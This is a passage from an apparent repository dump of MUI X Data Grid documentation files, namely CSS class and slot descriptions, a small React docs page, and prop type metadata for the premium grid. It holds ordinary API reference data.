\"nodeName\": \"the virtualization content\",\n      \"conditions\": \"its height is bigger than the virtualization container\"\n    },\n    \"virtualScrollerRenderZone\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the virtualization render zone\"\n    },\n    \"pinnedColumns\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the pinned columns\"\n    },\n    \"pinnedColumns--left\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the left pinned columns\"\n    },\n    \"pinnedColumns--right\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the right pinned columns\"\n    },\n    \"pinnedColumnHeaders\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the pinned column headers\"\n    },\n    \"pinnedColumnHeaders--left\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the left pinned column headers\"\n    },\n    \"pinnedColumnHeaders--right\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the right pinned column headers\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"root--densityStandard\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"density is \\\"standard\\\" (default)\"\n    },\n    \"root--densityComfortable\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"density is \\\"comfortable\\\"\"\n    },\n    \"root--densityCompact\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"density is \\\"compact\\\"\"\n    },\n    \"root--disableUserSelection\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"user selection is disabled\"\n    },\n    \"row--editable\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the row element\",\n      \"conditions\": \"the row is editable\"\n    },\n    \"row--editing\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the row element\",\n      \"conditions\": \"the row is in edit mode\"\n    },\n    \"row--dragging\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the floating special row reorder cell element\",\n      \"conditions\": \"it is dragged\"\n    },\n    \"row--lastVisible\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the last visible row element on every page of the grid\"\n    },\n    \"row--dynamicHeight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the row\",\n      \"conditions\": \"it has dynamic row height\"\n    },\n    \"row--detailPanelExpanded\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the row\",\n      \"conditions\": \"its detail panel is open\"\n    },\n    \"row\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the row element\" },\n    \"rowCount\": {\n      \"description\": \"Styles applied to {{nodeName}}.\\nOnly works when pagination is disabled.\",\n      \"nodeName\": \"the footer row count element to show the total number of rows\"\n    },\n    \"rowReorderCellContainer\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the row reorder cell container element\"\n    },\n    \"rowReorderCell\": {\n      \"description\": \"Styles applied to the root element of the row reorder cell\"\n    },\n    \"rowReorderCell--draggable\": {\n      \"description\": \"Styles applied to the root element of the row reorder cell when dragging is allowed\"\n    },\n    \"scrollArea\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"both scroll area elements\"\n    },\n    \"scrollArea--left\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the left scroll area element\"\n    },\n    \"scrollArea--right\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the right scroll area element\"\n    },\n    \"selectedRowCount\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the footer selected row count element\"\n    },\n    \"sortIcon\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the sort icon element\"\n    },\n    \"toolbarContainer\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the toolbar container element\"\n    },\n    \"toolbarFilterList\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the toolbar filter list element\"\n    },\n    \"withBorderColor\": {\n      \"description\": \"Styles applied to {{nodeName}}, {{conditions}}.\\nSets border color only.\",\n      \"nodeName\": \"cells\",\n      \"conditions\": \"column header and other elements that have border\"\n    },\n    \"cell--withRightBorder\": {\n      \"description\": \"Styles applied the cell if `showColumnVerticalBorder={true}`.\"\n    },\n    \"columnHeader--withRightBorder\": {\n      \"description\": \"Styles applied the column header if `showColumnVerticalBorder={true}`.\"\n    },\n    \"treeDataGroupingCell\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the root of the grouping column of the tree data\"\n    },\n    \"treeDataGroupingCellToggle\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the toggle of the grouping cell of the tree data\"\n    },\n    \"groupingCriteriaCell\": {\n      \"description\": \"Styles applied to the root element of the grouping criteria cell\"\n    },\n    \"groupingCriteriaCellToggle\": {\n      \"description\": \"Styles applied to the toggle of the grouping criteria cell\"\n    },\n    \"pinnedRows\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the pinned rows container\"\n    },\n    \"pinnedRows--top\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the top pinned rows container\"\n    },\n    \"pinnedRows--bottom\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the bottom pinned rows container\"\n    },\n    \"pinnedRowsRenderZone\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"pinned rows render zones\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"baseButton\": \"The custom Button component used in the grid.\",\n    \"baseCheckbox\": \"The custom Checkbox component used in the grid for both header and cells.\",\n    \"baseChip\": \"The custom Chip component used in the grid.\",\n    \"baseFormControl\": \"The custom FormControl component used in the grid.\",\n    \"baseIconButton\": \"The custom IconButton component used in the grid.\",\n    \"baseInputAdornment\": \"The custom InputAdornment component used in the grid.\",\n    \"baseInputLabel\": \"The custom InputLabel component used in the grid.\",\n    \"basePopper\": \"The custom Popper component used in the grid.\",\n    \"baseSelect\": \"The custom Select component used in the grid.\",\n    \"baseSelectOption\": \"The custom SelectOption component used in the grid.\",\n    \"baseSwitch\": \"The custom Switch component used in the grid.\",\n    \"baseTextField\": \"The custom TextField component used in the grid.\",\n    \"baseTooltip\": \"The custom Tooltip component used in the grid.\",\n    \"booleanCellFalseIcon\": \"Icon displayed on the boolean cell to represent the false value.\",\n    \"booleanCellTrueIcon\": \"Icon displayed on the boolean cell to represent the true value.\",\n    \"cell\": \"Component rendered for each cell.\",\n    \"columnFilteredIcon\": \"Icon displayed on the column header menu to show that a filter has been applied to the column.\",\n    \"columnHeaderFilterIconButton\": \"Filter icon component rendered in each column header.\",\n    \"columnHeaders\": \"Component responsible for rendering the column headers.\",\n    \"columnMenu\": \"Column menu component rendered by clicking on the 3 dots &quot;kebab&quot; icon in column headers.\",\n    \"columnMenuAggregationIcon\": \"Icon displayed in column menu for aggregation\",\n    \"columnMenuClearIcon\": \"Icon displayed in column menu for clearing values\",\n    \"columnMenuFilterIcon\": \"Icon displayed in column menu for filter\",\n    \"columnMenuGroupIcon\": \"Icon displayed in column menu for grouping\",\n    \"columnMenuHideIcon\": \"Icon displayed in column menu for hiding column\",\n    \"columnMenuIcon\": \"Icon displayed on the side of the column header title to display the filter input component.\",\n    \"columnMenuManageColumnsIcon\": \"Icon displayed in column menu for showing all columns\",\n    \"columnMenuPinLeftIcon\": \"Icon displayed in column menu for left pinning\",\n    \"columnMenuPinRightIcon\": \"Icon displayed in column menu for right pinning\",\n    \"columnMenuSortAscendingIcon\": \"Icon displayed in column menu for ascending sort\",\n    \"columnMenuSortDescendingIcon\": \"Icon displayed in column menu for descending sort\",\n    \"columnMenuUngroupIcon\": \"Icon displayed in column menu for ungrouping\",\n    \"columnReorderIcon\": \"Icon displayed on the column reorder button.\",\n    \"columnResizeIcon\": \"Icon displayed in between two column headers that allows to resize the column header.\",\n    \"columnSelectorIcon\": \"Icon displayed on the column menu selector tab.\",\n    \"columnSortedAscendingIcon\": \"Icon displayed on the side of the column header title when sorted in ascending order.\",\n    \"columnSortedDescendingIcon\": \"Icon displayed on the side of the column header title when sorted in descending order.\",\n    \"columnUnsortedIcon\": \"Icon displayed on the side of the column header title when unsorted.\",\n    \"columnsPanel\": \"GridColumns panel component rendered when clicking the columns button.\",\n    \"densityComfortableIcon\": \"Icon displayed on the &quot;comfortable&quot; density option in the toolbar.\",\n    \"densityCompactIcon\": \"Icon displayed on the compact density option in the toolbar.\",\n    \"densityStandardIcon\": \"Icon displayed on the standard density option in the toolbar.\",\n    \"detailPanelCollapseIcon\": \"Icon displayed on the detail panel toggle column when expanded.\",\n    \"detailPanelExpandIcon\": \"Icon displayed on the detail panel toggle column when collapsed.\",\n    \"exportIcon\": \"Icon displayed on the open export button present in the toolbar by default.\",\n    \"filterPanel\": \"Filter panel component rendered when clicking the filter button.\",\n    \"filterPanelAddIcon\": \"Icon displayed for deleting the filter from filter panel.\",\n    \"filterPanelDeleteIcon\": \"Icon displayed for deleting the filter from filter panel.\",\n    \"filterPanelRemoveAllIcon\": \"Icon displayed for deleting all the active filters from filter panel.\",\n    \"footer\": \"Footer component rendered at the bottom of the grid viewport.\",\n    \"footerRowCount\": \"Row count component rendered in the footer\",\n    \"groupingCriteriaCollapseIcon\": \"Icon displayed on the grouping column when the children are expanded\",\n    \"groupingCriteriaExpandIcon\": \"Icon displayed on the grouping column when the children are collapsed\",\n    \"headerFilterCell\": \"Component responsible for showing menu adornment in Header filter row\",\n    \"headerFilterMenu\": \"Component responsible for showing menu in Header filter row\",\n    \"loadIcon\": \"Icon displayed on the input while processing.\",\n    \"loadingOverlay\": \"Loading overlay component rendered when the grid is in a loading state.\",\n    \"moreActionsIcon\": \"Icon displayed on the <code>actions</code> column type to open the menu.\",\n    \"noResultsOverlay\": \"No results overlay component rendered when the grid has no results after filtering.\",\n    \"noRowsOverlay\": \"No rows overlay component rendered when the grid has no rows.\",\n    \"openFilterButtonIcon\": \"Icon displayed on the open filter button present in the toolbar by default.\",\n    \"pagination\": \"Pagination component rendered in the grid footer by default.\",\n    \"panel\": \"Panel component wrapping the filters and columns panels.\",\n    \"preferencesPanel\": \"PreferencesPanel component rendered inside the Header component.\",\n    \"quickFilterClearIcon\": \"Icon displayed on the quick filter reset input.\",\n    \"quickFilterIcon\": \"Icon displayed on the quick filter input.\",\n    \"row\": \"Component rendered for each row.\",\n    \"rowReorderIcon\": \"Icon displayed on the <code>reorder</code> column type to reorder a row.\",\n    \"skeletonCell\": \"Component rendered for each skeleton cell.\",\n    \"toolbar\": \"Toolbar component rendered inside the Header component.\",\n    \"treeDataCollapseIcon\": \"Icon displayed on the tree data toggling column when the children are expanded\",\n    \"treeDataExpandIcon\": \"Icon displayed on the tree data toggling column when the children are collapsed\"\n  }\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/data-grid-premium.js",
    "content": "import ApiPage from 'docs/src/modules/components/ApiPage';\nimport jsonPageContent from './data-grid-premium.json';\nimport descriptions from './data-grid-premium-translation.json';\n\nexport default function Page() {\n  return <ApiPage descriptions={{ en: descriptions }} pageContent={jsonPageContent} />;\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/data-grid-premium.json",
    "content": "{\n  \"props\": {\n    \"columns\": {\n      \"type\": { \"name\": \"arrayOf\", \"description\": \"Array&lt;object&gt;\" },\n      \"required\": true\n    },\n    \"rows\": {\n      \"type\": { \"name\": \"arrayOf\", \"description\": \"Array&lt;object&gt;\" },\n      \"required\": true\n    },\n    \"aggregationFunctions\": {\n      \"type\": { \"name\": \"object\" },\n      \"default\": \"GRID_AGGREGATION_FUNCTIONS\"\n    },\n    \"aggregationModel\": { \"type\": { \"name\": \"object\" } },\n    \"aggregationRowsScope\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'all'<br>&#124;&nbsp;'filtered'\" },\n      \"default\": \"\\\"filtered\\\"\"\n    },\n    \"apiRef\": { \"type\": { \"name\": \"shape\", \"description\": \"{ current: object }\" } },\n    \"aria-label\": { \"type\": { \"name\": \"string\" } },\n    \"aria-labelledby\": { \"type\": { \"name\": \"string\" } },\n    \"autoHeight\": { \"type\": { \"name\": \"bool\" } },\n    \"autoPageSize\": { \"type\": { \"name\": \"bool\" } },\n    \"cellModesModel\": { \"type\": { \"name\": \"object\" } },\n    \"checkboxSelection\": { \"type\": { \"name\": \"bool\" } },\n    \"checkboxSelectionVisibleOnly\": {\n      \"type\": { \"name\": \"custom\", \"description\": \"bool\" },\n      \"default\": \"false\"\n    },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"clipboardCopyCellDelimiter\": { \"type\": { \"name\": \"string\" }, \"default\": \"'\\\\t'\" },\n    \"columnBuffer\": { \"type\": { \"name\": \"number\" }, \"default\": \"3\" },\n    \"columnHeaderHeight\": { \"type\": { \"name\": \"number\" }, \"default\": \"56\" },\n    \"columnThreshold\": { \"type\": { \"name\": \"number\" }, \"default\": \"3\" },\n    \"columnVisibilityModel\": { \"type\": { \"name\": \"object\" } },\n    \"components\": {\n      \"type\": { \"name\": \"object\" },\n      \"deprecated\": true,\n      \"deprecationInfo\": \"Use the <code>slots</code> prop instead.\"\n    },\n    \"componentsProps\": {\n      \"type\": { \"name\": \"object\" },\n      \"deprecated\": true,\n      \"deprecationInfo\": \"Use the <code>slotProps</code> prop instead.\"\n    },\n    \"defaultGroupingExpansionDepth\": { \"type\": { \"name\": \"number\" }, \"default\": \"0\" },\n    \"density\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'comfortable'<br>&#124;&nbsp;'compact'<br>&#124;&nbsp;'standard'\"\n      },\n      \"default\": \"\\\"standard\\\"\"\n    },\n    \"detailPanelExpandedRowIds\": {\n      \"type\": { \"name\": \"arrayOf\", \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;\" }\n    },\n    \"disableAggregation\": { \"type\": { \"name\": \"bool\" } },\n    \"disableChildrenFiltering\": { \"type\": { \"name\": \"bool\" } },\n    \"disableChildrenSorting\": { \"type\": { \"name\": \"bool\" } },\n    \"disableClipboardPaste\": { \"type\": { \"name\": \"bool\" } },\n    \"disableColumnFilter\": { \"type\": { \"name\": \"bool\" } },\n    \"disableColumnMenu\": { \"type\": { \"name\": \"bool\" } },\n    \"disableColumnPinning\": { \"type\": { \"name\": \"bool\" } },\n    \"disableColumnReorder\": { \"type\": { \"name\": \"bool\" } },\n    \"disableColumnResize\": { \"type\": { \"name\": \"bool\" } },\n    \"disableColumnSelector\": { \"type\": { \"name\": \"bool\" } },\n    \"disableDensitySelector\": { \"type\": { \"name\": \"bool\" } },\n    \"disableMultipleColumnsFiltering\": { \"type\": { \"name\": \"bool\" } },\n    \"disableMultipleColumnsSorting\": { \"type\": { \"name\": \"bool\" } },\n    \"disableMultipleRowSelection\": { \"type\": { \"name\": \"bool\" } },\n    \"disableRowGrouping\": { \"type\": { \"name\": \"bool\" } },\n    \"disableRowSelectionOnClick\": { \"type\": { \"name\": \"bool\" } },\n    \"disableVirtualization\": { \"type\": { \"name\": \"bool\" } },\n    \"editMode\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'cell'<br>&#124;&nbsp;'row'\" },\n      \"default\": \"\\\"cell\\\"\"\n    },\n    \"experimentalFeatures\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ ariaV7?: bool, clipboardPaste?: bool, columnGrouping?: bool, lazyLoading?: bool, warnIfFocusStateIsNotSynced?: bool }\"\n      }\n    },\n    \"filterDebounceMs\": { \"type\": { \"name\": \"number\" }, \"default\": \"150\" },\n    \"filterMode\": {\n      \"type\": { \"name\": \"custom\", \"description\": \"'client'<br>&#124;&nbsp;'server'\" },\n      \"default\": \"\\\"client\\\"\"\n    },\n    \"filterModel\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ items: Array&lt;{ field: string, id?: number<br>&#124;&nbsp;string, operator: string, value?: any }&gt;, logicOperator?: 'and'<br>&#124;&nbsp;'or', quickFilterExcludeHiddenColumns?: bool, quickFilterLogicOperator?: 'and'<br>&#124;&nbsp;'or', quickFilterValues?: array }\"\n      }\n    },\n    \"getAggregationPosition\": {\n      \"type\": { \"name\": \"func\" },\n      \"default\": \"`(groupNode) => groupNode == null ? 'footer' : 'inline'`\",\n      \"signature\": {\n        \"type\": \"function(groupNode: GridGroupNode) => GridAggregationPosition | null\",\n        \"describedArgs\": [\"groupNode\"],\n        \"returned\": \"GridAggregationPosition | null\"\n      }\n    },\n    \"getCellClassName\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridCellParams) => string\",\n        \"describedArgs\": [\"params\"],\n        \"returned\": \"string\"\n      }\n    },\n    \"getDetailPanelContent\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridRowParams) => React.JSX.Element\",\n        \"describedArgs\": [\"params\"],\n        \"returned\": \"React.JSX.Element\"\n      }\n    },\n    \"getDetailPanelHeight\": {\n      \"type\": { \"name\": \"func\" },\n      \"default\": \"\\\"() => 500\\\"\",\n      \"signature\": {\n        \"type\": \"function(params: GridRowParams) => number | string\",\n        \"describedArgs\": [\"params\"],\n        \"returned\": \"number | string\"\n      }\n    },\n    \"getEstimatedRowHeight\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridRowHeightParams) => number | null\",\n        \"describedArgs\": [\"params\"],\n        \"returned\": \"number | null\"\n      }\n    },\n    \"getRowClassName\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridRowClassNameParams) => string\",\n        \"describedArgs\": [\"params\"],\n        \"returned\": \"string\"\n      }\n    },\n    \"getRowHeight\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridRowHeightParams) => GridRowHeightReturnValue\",\n        \"describedArgs\": [\"params\"],\n        \"returned\": \"GridRowHeightReturnValue\"\n      }\n    },\n    \"getRowId\": { \"type\": { \"name\": \"func\" } },\n    \"getRowSpacing\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridRowSpacingParams) => GridRowSpacing\",\n        \"describedArgs\": [\"params\"],\n        \"returned\": \"GridRowSpacing\"\n      }\n    },\n    \"getTreeDataPath\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(row: R) => Array<string>\",\n        \"describedArgs\": [\"row\"],\n        \"returned\": \"Array<string>\"\n      }\n    },\n    \"groupingColDef\": { \"type\": { \"name\": \"union\", \"description\": \"func<br>&#124;&nbsp;object\" } },\n    \"hideFooter\": { \"type\": { \"name\": \"bool\" } },\n    \"hideFooterPagination\": { \"type\": { \"name\": \"bool\" } },\n    \"hideFooterRowCount\": {\n      \"type\": { \"name\": \"custom\", \"description\": \"bool\" },\n      \"default\": \"false\"\n    },\n    \"hideFooterSelectedRowCount\": { \"type\": { \"name\": \"bool\" } },\n    \"initialState\": { \"type\": { \"name\": \"object\" } },\n    \"isCellEditable\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridCellParams) => boolean\",\n        \"describedArgs\": [\"params\"],\n        \"returned\": \"boolean\"\n      }\n    },\n    \"isGroupExpandedByDefault\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(node: GridGroupNode) => boolean\",\n        \"describedArgs\": [\"node\"],\n        \"returned\": \"boolean\"\n      }\n    },\n    \"isRowSelectable\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridRowParams) => boolean\",\n        \"describedArgs\": [\"params\"],\n        \"returned\": \"boolean\"\n      }\n    },\n    \"keepColumnPositionIfDraggedOutside\": { \"type\": { \"name\": \"bool\" } },\n    \"keepNonExistentRowsSelected\": { \"type\": { \"name\": \"bool\" } },\n    \"loading\": { \"type\": { \"name\": \"bool\" } },\n    \"localeText\": { \"type\": { \"name\": \"object\" } },\n    \"logger\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ debug: func, error: func, info: func, warn: func }\"\n      },\n      \"default\": \"console\"\n    },\n    \"logLevel\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'debug'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'warn'<br>&#124;&nbsp;false\"\n      },\n      \"default\": \"\\\"error\\\" (\\\"warn\\\" in dev mode)\"\n    },\n    \"nonce\": { \"type\": { \"name\": \"string\" } },\n    \"onAggregationModelChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(model: GridAggregationModel, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"model\", \"details\"]\n      }\n    },\n    \"onCellClick\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridCellParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onCellDoubleClick\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridCellParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onCellEditStart\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridCellParams, event: MuiEvent<React.KeyboardEvent | React.MouseEvent>) => void\",\n        \"describedArgs\": [\"params\", \"event\"]\n      }\n    },\n    \"onCellEditStop\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridCellParams, event: MuiEvent<MuiBaseEvent>) => void\",\n        \"describedArgs\": [\"params\", \"event\"]\n      }\n    },\n    \"onCellKeyDown\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridCellParams, event: MuiEvent<React.KeyboardEvent>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onCellModesModelChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(cellModesModel: GridCellModesModel, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"cellModesModel\", \"details\"]\n      }\n    },\n    \"onClipboardCopy\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": { \"type\": \"function(data: string) => void\", \"describedArgs\": [\"data\"] }\n    },\n    \"onClipboardPasteEnd\": { \"type\": { \"name\": \"func\" } },\n    \"onClipboardPasteStart\": { \"type\": { \"name\": \"func\" } },\n    \"onColumnHeaderClick\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onColumnHeaderDoubleClick\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onColumnHeaderEnter\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onColumnHeaderLeave\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onColumnHeaderOut\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onColumnHeaderOver\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onColumnOrderChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridColumnOrderChangeParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onColumnResize\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridColumnResizeParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onColumnVisibilityModelChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(model: GridColumnVisibilityModel, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"model\", \"details\"]\n      }\n    },\n    \"onColumnWidthChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridColumnResizeParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onDetailPanelExpandedRowIdsChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(ids: Array<GridRowId>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"ids\", \"details\"]\n      }\n    },\n    \"onExcelExportStateChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(inProgress: string) => void\",\n        \"describedArgs\": [\"inProgress\"]\n      }\n    },\n    \"onFetchRows\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridFetchRowsParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onFilterModelChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(model: GridFilterModel, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"model\", \"details\"]\n      }\n    },\n    \"onMenuClose\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridMenuParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onMenuOpen\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridMenuParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onPaginationModelChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(model: GridPaginationModel, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"model\", \"details\"]\n      }\n    },\n    \"onPinnedColumnsChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(pinnedColumns: GridPinnedColumns, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"pinnedColumns\", \"details\"]\n      }\n    },\n    \"onPreferencePanelClose\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridPreferencePanelParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onPreferencePanelOpen\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridPreferencePanelParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onProcessRowUpdateError\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": { \"type\": \"function(error: any) => void\", \"describedArgs\": [\"error\"] }\n    },\n    \"onResize\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(containerSize: ElementSize, event: MuiEvent<{}>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"containerSize\", \"event\", \"details\"]\n      }\n    },\n    \"onRowClick\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridRowParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onRowDoubleClick\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridRowParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", 